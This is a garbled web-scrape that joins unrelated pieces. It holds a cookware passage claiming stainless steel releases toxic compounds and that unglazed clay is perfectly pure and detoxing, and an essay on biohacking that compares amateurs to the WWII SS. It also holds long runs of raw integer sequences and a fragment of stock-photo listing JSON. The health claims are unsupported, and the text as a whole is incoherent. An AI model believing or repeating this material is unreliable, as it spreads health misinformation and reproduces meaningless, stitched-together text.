Manganese, and Silicon. 316 also has high levels of Nickel and Molybdenum. All these elements are highly reactive and break down as ions when food is cooked in Stainless steel cookware. These combine with nutrients in food and form toxic compounds that are dangerous in the body. For instance, a very small amount of concentration of nickel can cause kidney dysfunction, low blood pressure, muscle tremors, oral cancer, skin problems etc. Obviously, if you are looking for the safest cookware, you wouldn’t want to choose Stainless Steel. Natural Clay This material is all-natural and is often referred to as ‘primary clay’ in its purest form. Primary clay is naturally inert and it doesn’t contain any chemicals or metal toxins like Titanium or Stainless Steel. Natural clay is a 100% pure ingredient in nature like rainwater and because it is naturally detoxing, it does not take to itself any contaminants! It also cannot be used for farming because this soil gets very rigid and hard and does not allow the plant’s root system to thrive. A simple baking soda test done on these materials also shows that the pot made from unglazed primary clay doesn’t leach anything while cooking. Thus the safest material for making cookware is natural clay – no matter how much we experiment with different materials, this all-natural material beats them all! Certainly, there will be people who dispute the idea of considering these two geniuses and current giants of science as ancient biohackers. However, when studying the techniques, methods, concepts, logic and methodologies for the performance of modern biohacking, it does not differ much from the initial action of these giants of science. Therefore, we can at least say that these are concrete models to the biohacking movement. The DIY and handmade technique is common in many segments, including for biology, to which many researchers and amateurs have made random discoveries and through logical methods of research. The biohacking movement is the practice that fuses conceptual biology with the hacker movement. Although it is considered an amateur movement, the same, as in computing is on the way to professionalization, and even commercial uses and standardization of methods, such as a creation of a Hello World for biosciences and the biohacking movement, as a method for beginners. When one thinks that the biohacking movement is amateur, we must remember that the great computer hackers, for the most part, did not even have a university degree, and much of it came close to overthrowing large corporations with all their professionalism. The world changes and concepts must be rethought about what in fact is professionalization. In World War II, the elite force called the SS was considered an amateur grouping by allies, including historians specializing in tactics and war operations. When we observe the reason, we realize that they were right to consider them amateurs, not having rigid training, heavy weapons logistics, strategic tactics of mass annihilation as an army possesses. With this comparison we can realize that it is not equal to call the amateur biohacking movement, although in some cases it really is, compared to computer hackers, although they have been classified as amateurs, the damage and at the same time technological progress they brought is gigantic We may, in this case, consider that the biohacking movement is in this environment. “We are at a time to understand more to fearless.” Marie Curie. The reality is that the biohacking movement

[ 43432, 15591, 35484, 5736, 22, 6624, 21997, 64, 19209, 6302, 3016, 5, 2787, 15, 1525, 6624, 33681, 64, 19209, 6302, 3, 599, 937, 261, 64, 31263, 64, 395, 64, 81, 3201, 284, 494, 1381, 7750, 94, 937, 17726, 31699, 20333, 24285, 6071, 64, 301, 1381, 17726, 31699, 20333, 937, 5564, 6302, 30138, 26159, 1952, 16054, 606, 48902, 6071, 64, 881, 64, 301, 1381, 18, 937, 6071, 64, 881, 6302, 5695, 15591, 42787, 6624, 6071, 64, 30857, 64, 6434, 6302, 3614, 8048, 6602, 16, 284, 19, 15, 649, 29082, 15, 3024, 15591, 11368, 15591, 520, 15591, 2222, 15591, 2504, 15591, 3832, 15591, 9913, 64, 39, 64, 17726, 31699, 20333, 64, 36, 91, 54, 89, 336, 51, 17, 3246, 43, 1839, 50, 934, 394, 8962, 53, 28374, 51, 20, 73, 20, 35, 43, 23, 15, 11368, 6624, 6071, 64, 30857, 64, 16374, 64, 6434, 6302, 3614, 8048, 6602, 16, 284, 19, 15, 649, 29082, 15, 3024, 15591, 11368, 15591, 520, 15591, 2222, 15591, 2504, 15591, 3832, 15591, 5388, 64, 39, 64, 17726, 31699, 20333, 64, 36, 91, 54, 89, 336, 51, 17, 3246, 43, 1839, 50, 934, 394, 8962, 53, 28374, 51, 20, 73, 20, 35, 43, 23, 15, 11368, 6624, 6071, 64, 7436, 1381, 24257, 937, 6071, 64, 3429, 1381, 5388, 937, 6071, 64, 19164, 64, 7436, 1381, 23100, 25, 937, 6071, 64, 19164, 64, 3429, 1381, 22, 32006, 937, 8124, 6302, 42787, 6624, 3118, 64, 3140, 64, 3967, 6302, 3614, 8048, 6602, 16, 17764, 15, 324, 8594, 15, 681, 15591, 20865, 15591, 30658, 693, 782, 264, 15591, 17726, 31699, 20333, 6624, 7582, 6302, 43, 35471, 4115, 6624, 7582, 64, 6434, 6302, 15591, 8716, 32, 20132, 263, 64, 301, 30, 938, 1976, 36208, 1797, 6624, 6071, 64, 6434, 6302, 3614, 8048, 6602, 16, 17764, 15, 324, 8594, 15, 681, 15591, 13485, 15591, 1665, 26159, 1952, 16054, 606, 15591, 17726, 31699, 20333, 6624, 261, 64, 81, 3201, 284, 494, 1381, 5672, 937, 261, 64, 8547, 1381, 7750, 937, 261, 64, 27545, 64, 27490, 1381, 7750, 937, 261, 64, 16455, 1381, 7750, 937, 261, 64, 20, 37, 1381, 7750, 937, 261, 64, 5695, 1381, 5672, 937, 261, 64, 11000, 1381, 7750, 937, 261, 64, 22202, 64, 301, 1381, 7750, 937, 261, 64, 22202, 414, 64, 8716, 64, 31263, 1381, 5672, 937, 24902, 64, 17130, 29925, 18, 13, 19, 62, 937, 39869, 64, 881, 6302, 6586, 6624, 14267, 24285, 301, 1381, 26541, 937, 1590, 6302, 8836, 986, 937, 37448, 1514, 64, 5251, 24285, 18, 6302, 5695, 93, 15291, 93, 6443, 93, 11546, 93, 5736, 18, 6624, 19, 6302, 5695, 93, 43315, 93, 6443, 93, 11546, 93, 5736, 22, 986, 937, 37448, 1514, 64, 5251, 64, 301, 1381, 17, 937, 13518, 64, 10008, 6302, 30138, 26159, 1952, 16054, 606, 428, 22900, 436, 5739, 7512, 285, 8338, 2074, 3888, 387, 33143, 15725, 6624, 261, 64, 83, 2345, 64, 27806, 64, 34118, 1381, 7750, 937, 30857, 32012, 64, 6434, 6302, 3614, 8048, 6602, 16, 85, 21, 15, 649, 29082, 15, 3024, 15591, 11368, 15591, 520, 15591, 2222, 15591, 2504, 15591, 3832, 15591, 14028, 64, 39, 64, 17726, 31699, 20333, 64, 36, 91, 54, 89, 336, 51, 17, 3246, 43, 1839, 50, 934, 394, 8962, 53, 28374, 51, 20, 73, 20, 35, 43, 23, 15, 11368, 6624, 30857, 32012, 64, 3429, 1381, 24454, 15, 28321, 3208, 1166, 4148, 1976, 1630, 2357, 2090, 1717, 2537, 1036, 2082, 21866, 7554, 1010, 3208, 1867, 1540, 2759, 17820, 937, 30857, 32012, 64, 7436, 1381, 14028, 937, 788, 5623, 881, 11495, 1381, 8629, 937, 261, 64, 663, 8821, 1381, 7750, 937, 8236, 64, 881, 64, 1968, 6302, 16227, 6624, 16455, 64, 6795, 64, 42150, 64, 6434, 1381, 8629, 937, 2621, 64, 2364, 1381, 1976, 937, 14267, 64, 73, 1321, 12638, 6302, 6624, 580, 15642, 1381, 8629, 937, 435, 382, 64, 6377, 64, 6434, 6302, 15591, 1987, 42104, 15591, 938, 1976, 36208, 1797, 15591, 6362, 371, 4115, 32, 2799, 64, 881, 30, 7582, 6624, 261, 64, 37448, 1514, 1381, 7750, 937, 43315, 64, 21997, 64, 19209, 6302, 3016, 5, 2787, 15, 1525, 6624, 21997, 64, 23454, 24285, 18, 24285, 7509, 64, 2364, 6302, 15591, 43432, 15591, 35484, 5736, 18, 6624, 21997, 64, 19209, 6302, 6624, 33681, 64, 19209, 6302, 986, 937, 19, 24285, 7509, 64, 2364, 6302, 15591, 43432, 15591, 35484, 5736, 22, 6624, 21997, 64, 19209, 6302, 3016, 5, 2787, 15, 1525, 6624, 33681, 64, 19209, 6302, 3, 599, 937, 261, 64, 31263, 64, 395, 64, 81, 3201, 284, 494, 1381, 7750, 94, 937, 18467, 1867, 2597, 1549, 24285, 6071, 64, 301, 1381, 18467, 1867, 2597, 1549, 937, 5564, 6302, 26617, 6624, 6071, 64, 881, 64, 301, 1381, 18, 937, 6071, 64, 881, 6302, 5695, 15591, 42787, 6624, 6071, 64, 30857, 64, 6434, 6302, 3614, 8048, 6602, 16, 284, 19, 15, 649, 29082, 15, 3024, 15591, 11368, 15591, 520, 15591, 1540, 15591, 1867, 15591, 2597, 15591, 9913, 64, 39, 64, 18467, 1867, 2597, 1549, 64, 80, 358, 75, 37514, 7817, 77, 56, 2270, 39, 1686, 58, 55, 82, 19805, 10579, 1240, 25, 88, 35, 22, 38218, 351, 15, 11368, 6624, 6071, 64, 30857, 64, 16374, 64, 6434, 6302, 3614, 8048, 6602, 16, 284, 19, 15, 649, 29082, 15, 3024, 15591, 11368, 15591, 520, 15591, 1540, 15591, 1867, 15591, 2597, 15591, 5388, 64, 39, 64, 18467, 1867, 2597, 1549, 64, 80, 358, 75, 37514, 7817, 77, 56, 2270, 39, 1686, 58, 55, 82, 19805, 10579, 1240, 25, 88, 35, 22, 38218, 351, 15, 11368, 6624, 6071, 64, 7436, 1381, 24257, 937, 6071, 64, 3429, 1381, 5388, 937, 6071, 64, 19164, 64, 7436, 1381, 23100, 25, 937, 6071, 64, 19164, 64, 3429, 1381, 22, 32006, 937, 8124, 6302, 42787, 6624, 3118, 64, 3140, 64, 3967, 6302, 3614, 8048, 6602, 16, 17764, 15, 324, 8594, 15, 681, 15591, 20865, 15591, 30658, 693, 782, 264, 15591, 18467, 1867, 2597, 1549, 6624, 7582, 6302, 41849, 6624, 7582, 64, 6434, 6302, 15591, 8716, 32, 20132, 263, 64, 301, 30, 18202, 740, 2090, 3677, 6624, 6071, 64, 6434, 6302, 3614, 8048, 6602, 16, 17764, 15, 324, 8594, 15, 681, 15591, 13485, 15591, 26617, 15591, 18467, 1867, 2597, 1549, 6624, 261, 64, 81, 3201, 284, 494, 1381, 5672, 937, 261, 64, 8547, 1381, 7750, 937, 261, 64, 27545, 64, 27490, 1381, 7750, 937, 261, 64, 16455, 1381, 7750, 937, 261, 64, 20, 37, 1381, 7750, 937, 261, 64, 5695, 1381, 5672, 937, 261, 64, 11000, 1381, 7750, 937, 261, 64, 22202, 64, 301, 1381, 7750, 937, 261, 64, 22202, 414, 64, 8716, 64, 31263, 1381, 5672, 937, 24902, 64, 17130, 29925, 18, 13, 19, 62, 937, 39869, 64, 881, 6302, 6586, 6624, 14267, 24285, 301, 1381, 26541, 937, 1590, 6302, 8836, 986, 937, 37448, 1514, 64, 5251, 24285, 18, 6302, 5695, 93, 15291, 93, 6443, 93, 11546, 93, 5736, 18, 6624, 19, 6302, 5695, 93, 43315, 93, 6443, 93, 11546, 93, 5736, 22, 986, 937, 37448, 1514, 64, 5251, 64, 301, 1381, 17, 937, 13518, 64, 10008, 6302, 26617, 428, 22900, 436, 5739, 7512, 285, 8338, 2074, 3888, 387, 33143, 15725, 6624, 261, 64, 83, 2345, 64, 27806, 64, 34118, 1381, 7750, 937, 30857, 32012, 64, 6434, 6302, 3614, 8048, 6602, 16, 85, 21, 15, 649, 29082, 15, 3024, 15591, 11368, 15591, 520, 15591, 1540, 15591, 1867, 15591, 2597, 15591, 14028, 64, 39, 64, 18467, 1867, 2597, 1549, 64, 80, 358, 75, 37514, 7817, 77, 56, 2270, 39, 1686, 58, 55, 82, 19805, 10579, 1240, 25, 88, 35, 22, 38218, 351, 15, 11368, 6624, 30857, 32012, 64, 3429, 1381, 24454, 15, 28321, 3208, 1166, 4148, 1976, 1630, 2357, 2090, 1717, 2537, 1036, 2082, 21866, 7554, 1010, 3208, 1867, 1540, 2759, 17820, 937, 30857, 32012, 64, 7436, 1381, 14028, 937, 788, 5623, 881, 11495, 1381, 8629, 937, 261, 64, 663, 8821, 1381, 7750, 937, 8236, 64, 881, 64, 1968, 6302, 16227, 6624, 16455, 64, 6795, 64, 42150, 64, 6434, 1381, 8629, 937, 2621, 64, 2364, 1381, 3121, 937, 14267, 64, 73, 1321, 12638, 6302, 6624, 580, 15642, 1381, 8629, 937, 435, 382, 64, 6377, 64, 6434, 6302, 15591, 1987, 42104, 15591, 18202, 740, 2090, 3677, 15591, 1299, 90, 32, 2799, 64, 881, 30, 7582, 6624, 261, 64, 37448, 1514, 1381, 7750, 937, 43315, 64, 21997, 64, 19209, 6302, 3016, 5, 2787, 15, 1525, 6624, 21997, 64, 23454, 24285, 18, 24285, 7509, 64, 2364, 6302, 15591, 43432, 15591, 35484, 5736, 18, 6624, 21997, 64, 19209, 6302, 6624, 33681, 64, 19209, 6302, 986, 937, 19, 24285, 7509, 64, 2364, 6302, 15591, 43432, 15591, 35484, 5736, 22, 6624, 21997, 64, 19209, 6302, 3016, 5, 2787, 15, 1525, 6624, 33681, 64, 19209, 6302, 3, 599, 937, 261, 64, 31263, 64, 395, 64, 81, 3201, 284, 494, 1381, 7750, 94, 937, 1438, 25616, 17726, 24285, 6071, 64, 301, 1381, 1438, 25616, 17726, 937, 5564, 6302, 30998, 593, 762, 1113, 487, 14844, 32712, 6624, 6071, 64, 881, 64, 301, 1381, 18, 937, 6071, 64, 881, 6302, 5695, 15591, 42787, 6624, 6071, 64, 30857, 64, 6434, 6302, 3614, 8048, 6602, 16, 284, 19, 15, 649, 29082, 15, 3024, 15591, 11368, 15591, 361, 15591, 1438, 15591, 1549, 15591, 3677, 15591, 9913, 64, 39, 64, 1438, 25616, 17726, 64, 45, 20, 35, 3433, 13935, 58, 20583, 57, 6435, 40, 4148, 22047, 75, 90, 5648, 20, 56, 69, 15580, 25, 80, 47, 71, 17, 15, 11368, 6624, 6071, 64, 30857, 64, 16374, 64, 6434, 6302, 3614, 8048, 6602, 16, 284, 19, 15, 649, 29082, 15, 3024, 15591, 11368, 15591, 361, 15591, 1438, 15591, 1549, 15591, 3677, 15591, 5388, 64, 39, 64, 1438, 25616, 17726, 64, 45, 20, 35, 3433, 13935, 58, 20583, 57, 6435, 40, 4148, 22047, 75, 90, 5648, 20, 56, 69, 15580, 25, 80, 47, 71, 17, 15, 11368, 6624, 6071, 64, 7436, 1381, 5388, 937, 6071, 64, 3429, 1381, 31543, 937, 6071, 64, 19164, 64, 7436, 1381, 1237, 1525, 937, 6071, 64, 19164, 64, 3429, 1381, 1717, 361, 937, 8124, 6302, 42787, 6624, 3118, 64, 3140, 64, 3967, 6302, 3614, 8048, 6602, 16, 17764, 15, 324, 8594, 15, 681, 15591, 20865, 15591, 30658, 693, 782, 264, 15591, 1438, 25616, 17726, 6624, 7582, 6302, 72, 27088, 681, 6624, 7582, 64, 6434, 6302, 15591, 8716, 32, 20132, 263, 64, 301, 30, 938, 1508, 12115, 3439, 6624, 6071, 64, 6434, 6302, 3614, 8048, 6602, 16, 17764, 15, 324, 8594, 15, 681, 15591, 13485, 15591, 409, 593, 14, 4524, 14, 5546, 487, 14844, 14, 13998, 1178, 15591, 1438, 25616, 17726, 6624, 261, 64, 81, 3201, 284, 494, 1381, 5672, 937, 261, 64, 8547, 1381, 7750, 937, 261, 64, 27545, 64, 27490, 1381, 7750, 937, 261, 64, 16455, 1381, 7750, 937, 261, 64, 20, 37, 1381, 7750, 937, 261, 64, 5695, 1381, 5672, 937, 261, 64, 11000, 1381, 7750, 937, 261, 64, 22202, 64, 301, 1381, 7750, 937, 261, 64, 22202, 414, 64, 8716, 64, 31263, 1381, 5672, 937, 24902, 64, 17130, 29925, 18, 13, 19, 62, 937, 39869, 64, 881, 6302, 6586, 6624, 14267, 24285, 301, 1381, 740, 3763, 937, 1590, 6302, 10697, 487, 14844, 986, 937, 37448, 1514, 64, 5251, 24285, 18, 6302, 5695, 93, 15291, 93, 6443, 93, 11546, 93, 5736, 18, 6624, 19, 6302, 5695, 93, 43315, 93, 6443, 93, 11546, 93, 5736, 22, 986, 937, 37448, 1514, 64, 5251, 64, 301, 1381, 17, 937, 13518, 64, 10008, 6302, 30998, 593, 762, 1113, 487, 14844, 32712, 428, 22900, 436, 5739, 7512, 285, 8338, 2074, 3888, 387, 33143, 15725, 6624, 261, 64, 83, 2345, 64, 27806, 64, 34118, 1381, 7750, 937, 30857, 32012, 64, 6434, 6302, 3614, 8048, 6602, 16, 85, 21, 15, 649, 29082, 15, 3024, 15591, 11368, 15591, 361, 15591, 1438, 15591, 1549, 15591, 3677, 15591, 14028, 64, 39, 64, 1438, 25616, 17726, 64, 45, 20, 35, 3433, 13935, 58, 20583, 57, 6435, 40, 4148, 22047, 75, 90, 5648, 20, 56, 69, 15580, 25, 80, 47, 71, 17, 15, 11368, 6624, 30857, 32012, 64, 3429, 1381, 17605, 15, 9595, 43977, 49475, 3571, 1012, 1036, 1423, 3141, 1839, 1867, 1967, 19319, 23, 1252, 1166, 1093, 1976, 937, 30857, 32012, 64, 7436, 1381, 14028, 937, 788, 5623, 881, 11495, 1381, 8629, 937, 261, 64, 663, 8821, 1381, 7750, 937, 8236, 64, 881, 64, 1968, 6302, 16227, 6624, 16455, 64, 6795, 64, 42150, 64, 6434, 1381, 8629, 937, 2621, 64, 2364, 1381, 2357, 937, 14267, 64, 73, 1321, 12638, 6302, 6624, 580, 15642, 1381, 8629, 937, 435, 382, 64, 6377, 64, 6434, 6302, 15591, 1987, 42104, 15591, 938, 1508, 12115, 3439 ]

Applications\/StockPT5","license_price":"US$79.99","facing_price":""}},"is_allowed_and_purchasable":false},"195476172":{"content_id":195476172,"title":"Sonnenaufgang ","content_type_id":1,"content_type":"image\/jpeg","content_thumb_url":"https:\/\/as2.ftcdn.net\/jpg\/01\/95\/47\/61\/160_F_195476172_CzUxceR0PEJ38QblethuvTxorR3h3BJ6.jpg","content_thumb_large_url":"https:\/\/as2.ftcdn.net\/jpg\/01\/95\/47\/61\/500_F_195476172_CzUxceR0PEJ38QblethuvTxorR3h3BJ6.jpg","content_height":334,"content_width":500,"content_original_height":3648,"content_original_width":5472,"format":"jpeg","comp_file_path":"https:\/\/stock.adobe.com\/Download\/Watermarked\/195476172","author":"Jaqueline","author_url":"\/search?creator_id=207585421","content_url":"https:\/\/stock.adobe.com\/images\/sonnenaufgang\/195476172","is_purchasable":true,"is_template":false,"is_chin_below":false,"is_video":false,"is_3D":false,"is_image":true,"is_vector":false,"is_similar_id":false,"is_similarity_search_allowed":true,"possible_licenses":[1,2],"asset_type":"Image","category":{"id":695,"name":"People"},"premium_level":{"1":"image|standard|core|full|PT1","2":"image|extended|core|full|PT5"},"premium_level_id":0,"meta_description":"Sonnenaufgang - Buy this stock photo and explore similar images at Adobe Stock","is_rush_mobile_compatible":false,"thumbnail_url":"https:\/\/t4.ftcdn.net\/jpg\/01\/95\/47\/61\/240_F_195476172_CzUxceR0PEJ38QblethuvTxorR3h3BJ6.jpg","thumbnail_width":359.55056179775277769294916652143001556396484375,"thumbnail_height":240,"getSubtypeLabel":null,"is_licensed":false,"media_type_label":"Photo","video_small_preview_url":null,"order_key":75,"category_hierarchy":"","avatar":null,"artist_page_url":"\/contributor\/207585421\/jaqueline?load_type=author","is_premium":false,"extended_license_price":"US$79.99","license_details":{"1":{"product_key":"\/Applications\/StockPT1","license_price":"","facing_price":""},"2":{"product_key":"\/Applications\/StockPT5","license_price":"US$79.99","facing_price":""}},"is_allowed_and_purchasable":false},"164398760":{"content_id":164398760,"title":"love","content_type_id":1,"content_type":"image\/jpeg","content_thumb_url":"https:\/\/as2.ftcdn.net\/jpg\/01\/64\/39\/87\/160_F_164398760_oemjKDBUlW90FmlYVqMYUCah8wB5zdod.jpg","content_thumb_large_url":"https:\/\/as2.ftcdn.net\/jpg\/01\/64\/39\/87\/500_F_164398760_oemjKDBUlW90FmlYVqMYUCah8wB5zdod.jpg","content_height":334,"content_width":500,"content_original_height":3648,"content_original_width":5472,"format":"jpeg","comp_file_path":"https:\/\/stock.adobe.com\/Download\/Watermarked\/164398760","author":"Tony","author_url":"\/search?creator_id=207106971","content_url":"https:\/\/stock.adobe.com\/images\/love\/164398760","is_purchasable":true,"is_template":false,"is_chin_below":false,"is_video":false,"is_3D":false,"is_image":true,"is_vector":false,"is_similar_id":false,"is_similarity_search_allowed":true,"possible_licenses":[1,2],"asset_type":"Image","category":{"id":695,"name":"People"},"premium_level":{"1":"image|standard|core|full|PT1","2":"image|extended|core|full|PT5"},"premium_level_id":0,"meta_description":"love - Buy this stock photo and explore similar images at Adobe Stock","is_rush_mobile_compatible":false,"thumbnail_url":"https:\/\/t4.ftcdn.net\/jpg\/01\/64\/39\/87\/240_F_164398760_oemjKDBUlW90FmlYVqMYUCah8wB5zdod.jpg","thumbnail_width":359.55056179775277769294916652143001556396484375,"thumbnail_height":240,"getSubtypeLabel":null,"is_licensed":false,"media_type_label":"Photo","video_small_preview_url":null,"order_key":76,"category_hierarchy":"","avatar":null,"artist_page_url":"\/contributor\/207106971\/tony?load_type=author","is_premium":false,"extended_license_price":"US$79.99","license_details":{"1":{"product_key":"\/Applications\/StockPT1","license_price":"","facing_price":""},"2":{"product_key":"\/Applications\/StockPT5","license_price":"US$79.99","facing_price":""}},"is_allowed_and_purchasable":false},"80607195":{"content_id":80607195,"title":"Romance under caribbean sunset","content_type_id":1,"content_type":"image\/jpeg","content_thumb_url":"https:\/\/as2.ftcdn.net\/jpg\/00\/80\/60\/71\/160_F_80607195_L3BslROYtmXGGG97LMjySH3WdDT8oNf0.jpg","content_thumb_large_url":"https:\/\/as2.ftcdn.net\/jpg\/00\/80\/60\/71\/500_F_80607195_L3BslROYtmXGGG97LMjySH3WdDT8oNf0.jpg","content_height":500,"content_width":440,"content_original_height":3299,"content_original_width":2900,"format":"jpeg","comp_file_path":"https:\/\/stock.adobe.com\/Download\/Watermarked\/80607195","author":"gdvcom","author_url":"\/search?creator_id=202311954","content_url":"https:\/\/stock.adobe.com\/images\/romance-under-caribbean-sunset\/80607195","is_purchasable":true,"is_template":false,"is_chin_below":false,"is_video":false,"is_3D":false,"is_image":true,"is_vector":false,"is_similar_id":false,"is_similarity_search_allowed":true,"possible_licenses":[1,2],"asset_type":"Image","category":{"id":1062,"name":"Caribbean"},"premium_level":{"1":"image|standard|core|full|PT1","2":"image|extended|core|full|PT5"},"premium_level_id":0,"meta_description":"Romance under caribbean sunset - Buy this stock photo and explore similar images at Adobe Stock","is_rush_mobile_compatible":false,"thumbnail_url":"https:\/\/t4.ftcdn.net\/jpg\/00\/80\/60\/71\/240_F_80607195_L3BslROYtmXGGG97LMjySH3WdDT8oNf0.jpg","thumbnail_width":211.19999999999998863131622783839702606201171875,"thumbnail_height":240,"getSubtypeLabel":null,"is_licensed":false,"media_type_label":"Photo","video_small_preview_url":null,"order_key":77,"category_hierarchy":"","avatar":null,"artist_page_url":"\/contributor\/202311954

[ 13, 7751, 13, 4240, 283, 7798, 15, 535, 50276, 39423, 10428, 187, 50264, 23067, 1715, 4878, 2148, 50275, 39430, 61, 50273, 12558, 32556, 50275, 2290, 41150, 50274, 6504, 16736, 267, 61, 50275, 1044, 798, 61, 50273, 45, 2373, 50272, 52, 713, 257, 50273, 688, 2566, 989, 61, 187, 50254, 50270, 13788, 2148, 50254, 50274, 13788, 2148, 50269, 13788, 2148, 50254, 50275, 46, 1028, 6859, 187, 50276, 9998, 22971, 16213, 14796, 16213, 16913, 16213, 16213, 16213, 15369, 187, 50276, 424, 2993, 554, 424, 50254, 50254, 50254, 50254, 50272, 15267, 50276, 40385, 50274, 23926, 50263, 15645, 50270, 24137, 50269, 16552, 50270, 24208, 50266, 20210, 50270, 16150, 50270, 4185, 50269, 3031, 535, 50276, 19182, 50268, 19, 15, 20, 50263, 19, 15, 25, 50270, 19, 15, 20, 50269, 19, 15, 19, 50270, 18, 15, 25, 50266, 18, 15, 21, 50270, 17, 15, 26, 50270, 17, 15, 23, 50270, 18, 15, 19, 535, 50276, 2222, 6, 7309, 6, 50273, 19, 15, 18, 283, 19, 15, 22, 50268, 19, 15, 22, 283, 20, 15, 17, 50275, 19, 15, 18, 283, 19, 15, 23, 50274, 18, 15, 26, 283, 19, 15, 21, 50275, 18, 15, 23, 283, 19, 15, 17, 50271, 18, 15, 20, 283, 18, 15, 23, 50275, 17, 15, 24, 283, 18, 15, 17, 50275, 17, 15, 22, 283, 17, 15, 24, 50275, 18, 15, 18, 283, 18, 15, 21, 535, 50276, 424, 6826, 1832, 424, 50254, 50254, 50254, 50254, 50272, 15267, 50276, 40385, 50274, 1438, 50262, 3245, 50269, 3141, 50268, 3677, 50269, 2504, 50265, 17, 50268, 17, 50268, 17, 50268, 17, 535, 50276, 19182, 50268, 18, 15, 18, 50263, 18, 15, 18, 50270, 18, 15, 17, 50269, 17, 15, 26, 50270, 17, 15, 23, 50254, 979, 50263, 535, 50276, 2222, 6, 7309, 6, 50273, 17, 15, 25, 283, 18, 15, 20, 50268, 17, 15, 26, 283, 18, 15, 21, 50275, 17, 15, 25, 283, 18, 15, 20, 50274, 17, 15, 24, 283, 18, 15, 19, 50275, 17, 15, 22, 283, 17, 15, 25, 50254, 245, 50265, 2490, 50276, 39423, 10428, 187, 50, 27, 187, 187, 1672, 20692, 314, 11352, 1620, 14, 2327, 3491, 16757, 1918, 18122, 2228, 187, 187, 42, 717, 16994, 247, 19662, 12547, 1332, 326, 588, 1379, 247, 1979, 1318, 285, 1978, 253, 298, 14, 2877, 3806, 15, 187, 32244, 789, 4030, 285, 275, 436, 2127, 253, 6860, 310, 281, 897, 253, 308, 10494, 50276, 36073, 15, 187, 6436, 13, 604, 309, 11120, 11352, 253, 3491, 16757, 253, 17963, 588, 1918, 271, 2228, 27, 187, 4, 3709, 654, 68, 8400, 565, 31, 187, 4, 3709, 654, 881, 64, 32172, 31, 187, 4, 3709, 654, 307, 874, 31, 187, 187, 8547, 654, 15295, 308, 426, 6268, 1450, 8531, 1540, 64, 85, 31, 187, 2437, 19662, 12547, 551, 187, 50276, 4387, 27, 2490, 50274, 5302, 1979, 64, 881, 426, 6268, 1450, 8531, 1540, 64, 85, 28, 187, 50274, 5302, 8078, 426, 6268, 1450, 35428, 64, 85, 29, 8400, 1450, 261, 64, 77, 2877, 64, 14005, 29, 53, 14157, 2877, 13, 1030, 1979, 64, 881, 7, 13, 1979, 64, 881, 21431, 187, 50274, 17243, 1030, 8078, 7, 755, 1082, 1030, 551, 1091, 795, 3281, 28, 748, 535, 50274, 5496, 12547, 9, 53, 10494, 18558, 10, 1163, 795, 3281, 9, 8400, 1450, 10495, 29, 53, 8743, 20932, 1228, 551, 748, 187, 50274, 5496, 12547, 7, 5572, 426, 313, 3474, 19662, 12547, 7, 10, 426, 11352, 28, 535, 50274, 5496, 12547, 9, 3474, 19662, 12547, 7, 10, 426, 11352, 28, 50275, 605, 1621, 2228, 604, 436, 1386, 5176, 535, 50276, 9486, 27, 187, 50274, 2548, 795, 3281, 28, 187, 4718, 187, 187, 8547, 654, 15295, 308, 31, 187, 5496, 12547, 29, 53, 31, 1056, 64, 3281, 64, 7784, 9, 53, 10494, 246, 10, 551, 187, 50276, 2309, 6268, 1450, 10495, 29, 53, 8743, 85, 558, 187, 94, 187, 187, 565, 2022, 1082, 187, 92, 187, 50274, 565, 247, 426, 898, 28, 187, 50274, 11145, 64, 3281, 64, 7784, 9, 66, 558, 187, 94, 187, 187, 4967, 310, 436, 9369, 32, 380, 3491, 16757, 943, 1620, 320, 1925, 275, 436, 1083, 15, 187, 187, 34, 27, 187, 187, 510, 1159, 1056, 64, 3281, 64, 7784, 6548, 19662, 12547, 29, 53, 31, 407, 1318, 15, 187, 1466, 434, 39994, 849, 1159, 10884, 407, 1318, 2987, 27, 187, 187, 2512, 310, 247, 11287, 1789, 3798, 1925, 253, 1091, 1318, 1789, 15, 187, 2214, 253, 1083, 1091, 2048, 28, 27, 187, 187, 510, 2048, 3491, 14, 19078, 4219, 253, 1091, 1318, 1789, 15, 187, 1552, 310, 247, 3491, 1045, 1297, 3634, 15, 187, 187, 2214, 253, 1083, 1091, 551, 5058, 64, 263, 64, 3062, 64, 15565, 7734, 27, 187, 187, 510, 1308, 2575, 1618, 3491, 14, 3550, 14, 19078, 4219, 253, 1091, 1318, 1789, 15, 187, 187, 2042, 253, 6789, 2127, 3302, 4219, 271, 4778, 342, 253, 1159, 1067, 13, 840, 253, 1091, 1318, 1789, 310, 253, 3302, 6081, 15, 313, 510, 3242, 830, 273, 31850, 778, 6889, 7293, 327, 253, 6789, 2127, 481, 1198, 31850, 273, 271, 1789, 13, 436, 310, 671, 247, 3491, 1045, 1297, 3634, 15, 187, 187, 688, 634, 2127, 13, 1056, 64, 3281, 64, 7784, 9, 66, 10, 31363, 707, 308, 313, 783, 4764, 273, 1056, 64, 3281, 64, 7784, 2387, 281, 540, 7, 13, 984, 436, 310, 247, 3962, 45279, 10076, 15, 187, 510, 8164, 2492, 273, 1056, 64, 3281, 64, 7784, 323, 436, 308, 4453, 751, 13, 846, 16122, 562, 6268, 1450, 10495, 27, 187, 5496, 12547, 29, 565, 7, 31, 1056, 64, 3281, 64, 7784, 9, 565, 7, 246, 10, 187, 92, 187, 50274, 2309, 246, 28, 187, 94, 187, 187, 12157, 4228, 64, 4008, 29, 565, 7, 8743, 85, 10, 310, 816, 253, 1072, 347, 246, 1157, 1580, 246, 310, 2168, 271, 298, 2877, 273, 1511, 540, 15, 187, 187, 1909, 5393, 4321, 13, 436, 2127, 3491, 14, 19078, 4219, 253, 1091, 1318, 1789, 15, 1893, 253, 2127, 1024, 37824, 3686, 273, 751, 27, 187, 5496, 12547, 29, 565, 7, 31, 14712, 64, 23667, 426, 246, 28, 187, 187, 395, 984, 246, 310, 417, 247, 19662, 12547, 13, 253, 5426, 273, 3491, 14, 19078, 1320, 310, 326, 436, 310, 253, 1072, 347, 27, 187, 5496, 12547, 29, 565, 7, 31, 14712, 64, 23667, 426, 19662, 12547, 29, 565, 7, 8743, 85, 558, 187, 187, 4609, 9090, 828, 7095, 247, 3491, 16, 15106, 4254, 281, 26641, 14712, 64, 23667, 432, 247, 11287, 273, 1511, 19662, 12547, 29, 565, 7, 13208, 4129, 436, 3491, 651, 320, 1045, 1356, 407, 3491, 1045, 1297, 13, 253, 12482, 3491, 16, 15106, 16757, 1364, 2226, 15, 187, 187, 510, 2900, 5125, 407, 24064, 351, 2945, 13, 8133, 1308, 1951, 1475, 253, 1091, 2048, 13, 2987, 984, 253, 6425, 31850, 310, 1024, 3491, 14, 3550, 14, 19078, 1320, 27, 187, 5496, 12547, 29, 565, 7, 31, 